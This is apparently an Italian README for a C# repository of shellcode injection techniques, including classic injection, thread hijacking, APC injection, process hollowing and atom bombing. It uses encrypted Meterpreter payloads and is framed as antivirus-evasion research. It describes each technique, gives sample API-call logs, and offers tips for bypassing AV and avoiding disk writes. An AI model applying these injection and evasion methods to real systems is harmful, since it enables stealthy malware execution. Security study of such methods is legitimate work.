
Implementazioni in C# di tecniche di iniezione di shellcode, tra cui iniezione classica, hijacking di thread, process hollowing e atom bombing, utilizzando payload Meterpreter crittografati con AES per la ricerca sull'evasione dell'AV.
Una raccolta di tecniche di iniezione di shellcode in C#. Tutte le tecniche utilizzano un payload meterpreter crittografato con AES.
Continuerò a sviluppare questo progetto man mano che imparerò, scoprirò o svilupperò nuove tecniche.
Nota: Il progetto non è pensato per essere utilizzato così com'è. Se intendi utilizzare una delle tecniche, hai maggiori possibilità di bypassare l'AV se crei un progetto più piccolo e personalizzato con la tecnica scelta.
Se usi uno qualsiasi dei codici in questi repository mantienilo legale!
Puoi utilizzare una tecnica di iniezione di assembly tramite PowerShell se vuoi evitare di scrivere binari .Net su disco.
ShellcodeRunner.cs : Questa tecnica non è strettamente una tecnica di iniezione (perché eseguiamo lo shellcode nello stesso processo) ma è la più semplice di tutte. Assicuriamo che lo shellcode utilizzi una posizione di memoria fissa in un contesto unsafe. Modifichiamo la protezione sulla pagina in cui si trova lo shellcode per poterlo eseguire. Quindi utilizziamo una funzione delegata C# per eseguire lo shellcode.
[+] Using technique: ShellcodeInjectionTechniques.ShellcodeRunner
[+] VirtualProtect() - set to PAGE_EXECUTE_READWRITE, shellcode address: 0x20D000418E0
[+] Executing shellcode - memory address: 0x20D000418E0
ClassicInjection.cs : Questa tecnica alloca memoria nel processo di destinazione, inietta lo shellcode e avvia un nuovo thread.
[+] Found process: 24484
[+] Using technique: ShellcodeInjectionTechniques.ClassicInjection
[+] VirtualAllocEx(), assigned: 0x23642220000
[+] WriteProcessMemory() - remote address: 0x23642220000
[+] CreateRemoteThread() - thread handle: 0x380
ThreadHijack.cs : Questa tecnica dirotta un thread iniettando codice nel processo di destinazione, sospende il thread dirottato, imposta il puntatore alle istruzioni (RIP) sul nostro codice iniettato e poi riprende il thread.
[+] Found process: 11508
[+] Using technique: ShellcodeInjectionTechniques.ThreadHijack
[+] Found thread: 9344
[+] OpenThread() - thread handle: 0x378
[+] VirtualAllocEx(), assigned: 0x1D17AB80000
[+] WriteProcessMemory() - remote address: 0x1D17AB80000
[+] SuspendThread() - thread handle: 0x378
[+] GetThreadContext() - thread handle: 0x378
[+] RIP is: 0x7FFA77D21104
[+] SetThreadContext(), RIP assigned: 0x1D17AB80000
[+] ResumeThread() - thread handle: 0x378
LocalThreadHijack.cs : Questa tecnica crea un nuovo thread locale in stato sospeso, quindi dirotta il thread, imposta il puntatore alle istruzioni (RIP) sul nostro codice iniettato e poi riprende il thread.
[+] Using technique: ShellcodeInjectionTechniques.LocalThreadHijack
[+] CreateThread() - thread handle: 0x374
[+] VirtualProtect() - set to PAGE_EXECUTE_READWRITE, shellcode address: 0x270800418E0
[+] GetThreadContext() - thread handle: 0x374
[+] RIP is: 0x7FFA79EE2630
[+] SetThreadContext(), RIP assigned: 0x270800418E0
[+] ResumeThread() - thread handle: 0x374
APCInjection.cs : Questa tecnica è simile alla tecnica di dirottamento dei thread. Iniettiamo lo shellcode in un thread remoto, quindi accodiamo un oggetto APC nel thread. Quando il thread entra in uno stato alertable (quando chiama SleepEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx, WaitForMultipleObjectsEx, o WaitForSingleObjectEx) esegue il nostro shellcode puntato dall'oggetto APC accodato.
[+] Found process: 25320
[+] Using technique: ShellcodeInjectionTechniques.APCInjection
[+] Found thread: 23796
[+] OpenThread() - thread handle: 0x378
[+] VirtualAllocEx(), assigned: 0x24E064D0000
[+] WriteProcessMemory() - remote address: 0x24E064D0000
[+] QueueUserAPC() - thread handle: 0x378
ProcessHollow.cs : Questa tecnica avvia un altro processo in stato sospeso (svchost.exe), trova il punto di ingresso del thread principale, inietta il nostro shellcode al suo interno e poi riprende il thread.
[+] Using technique: ShellcodeInjectionTechniques.ProcessHollow
[+] CreateProcess(): C:\Windows\System32\svchost.exe
[+] Pointer to ImageBase: 0xD31E956010
[+] ReadProcessMemory() - image base pointer: 0xD31E956010
[+] ImageBase: 0x7FF6116C0000
[+] ReadProcessMemory() - svchost base: 0x7FF6116C0000
[+] EntryPoint: 0xD31E956010
[+] WriteProcessMemory(): 0x7FF6116C4E80
[+] ResumeThread() - thread handle: 0x454
InterProcessMappedView.cs : Questa tecnica crea una nuova sezione in memoria, crea una vista locale mappata della sezione, copia il nostro shellcode nella vista locale mappata e crea una vista remota mappata della vista locale mappata nel processo di destinazione. Infine creiamo un nuovo thread nel processo di destinazione con la vista mappata come punto di ingresso.
[+] Found process: 23740
[+] Using technique: ShellcodeInjectionTechniques.InterProcessMappedView
[+] NtCreateSection() - section handle: 0x37C
[+] NtMapViewOfSection() - local view: 0x20CB8E40000
[+] Marshalling shellcode
[+] NtMapViewOfSection() - remote view: 0x22D90310000
[+] RtlCreateUserThread() - thread handle: 0x384
AtomBomb.cs : Questa tecnica è interessante per come scriviamo lo shellcode nel processo di destinazione. Utilizziamo la tabella degli atomi globale, che ci permette di scrivere stringhe terminate con null con una dimensione massima di 255 byte. Troviamo un code cave per scrivere il nostro shellcode, quindi usiamo chiamate APC per attivare il processo di destinazione in modo che legga i nomi degli atomi in memoria. Infine usiamo un paio di chiamate APC per modificare la protezione della memoria del target ed eseguire lo shellcode.
Il mio codice differisce dalla tecnica Atom Bombing originale, scritta in C/C++. In primo luogo, concateno i nomi degli atomi insieme, utilizzando più APC, per formare uno shellcode più grande di 255 byte. Non utilizzo catene ROP per forzare il processo di destinazione a chiamare VirtualProtect e poi eseguire il codice, uso la coda APC.
Questo codice richiede che il thread principale entri in uno stato alertable per eseguire la coda APC e non eseguo la pulizia dopo l'esecuzione dello shellcode, il processo di destinazione diventa instabile. Ho intenzione di migliorare questa tecnica (cercando thread alertable e pulendo in seguito), ma come PoC funziona bene.
[+] Found process: 14140
[+] Using technique: ShellcodeInjectionTechniques.AtomBomb
[+] Found thread: 5940
[+] OpenThread() - thread handle: 0xD0
[+] FindWritablePages() - number found: 2
[+] Found a suitable code cave - pWritable: 0x2CE60031
[+] GetProcAddress() - pGlobalGetAtomNameW: 0x7FFE20EB2680
[+] GlobalAddAtom() - ATOM: 0xC091
[+] NtQueueApcThread() - pWritable: 0x2CE60031
[+] GlobalAddAtom() - ATOM: 0xC06F
[+] NtQueueApcThread() - pWritable: 0x2CE600F9
[+] GlobalAddAtom() - ATOM: 0xC080
[+] NtQueueApcThread() - pWritable: 0x2CE601C1
[+] GlobalAddAtom() - ATOM: 0xC088
[+] NtQueueApcThread() - pWritable: 0x2CE60289
[+] GlobalAddAtom() - ATOM: 0xC084
[+] NtQueueApcThread() - pWritable: 0x2CE60351
[+] GetProcAddress() - pVirtualProtect: 0x7FFE20EBBC70
[+] NtQueueApcThread() PAGE_EXECUTE_READWRITE - codeCave: 0x2CE60031
[+] QueueUserAPC() - codeCave: 0x2CE60031
La tecnica Atom Bombing inserisce stringhe terminate con null nella tabella degli atomi globale, ciò significa che devi usare uno shellcode che non contenga caratteri 0x00 in esso.
Ricorda che dovrai avviare un processo da iniettare, tranne quando si utilizza lo shellcode runner, la tecnica di dirottamento del thread locale o la tecnica di process hollowing (questa tecnica avvia un nuovo processo in stato sospeso).
[!] Unable to find process to inject into!
Quando si utilizza lo shellcode runner, la tecnica di dirottamento del thread locale o la tecnica di process hollowing dovrai commentare il codice in Program.cs che cerca il processo da iniettare:
/*
Process[] processes = Process.GetProcessesByName("notepad");
if(processes.Length == 0)
{
Debug("[!] Unable to find process to inject into!");
return;
}
Debug("[+] Found process: {0}", new string[] { processes[0].Id.ToString() });
target = processes[0];
*/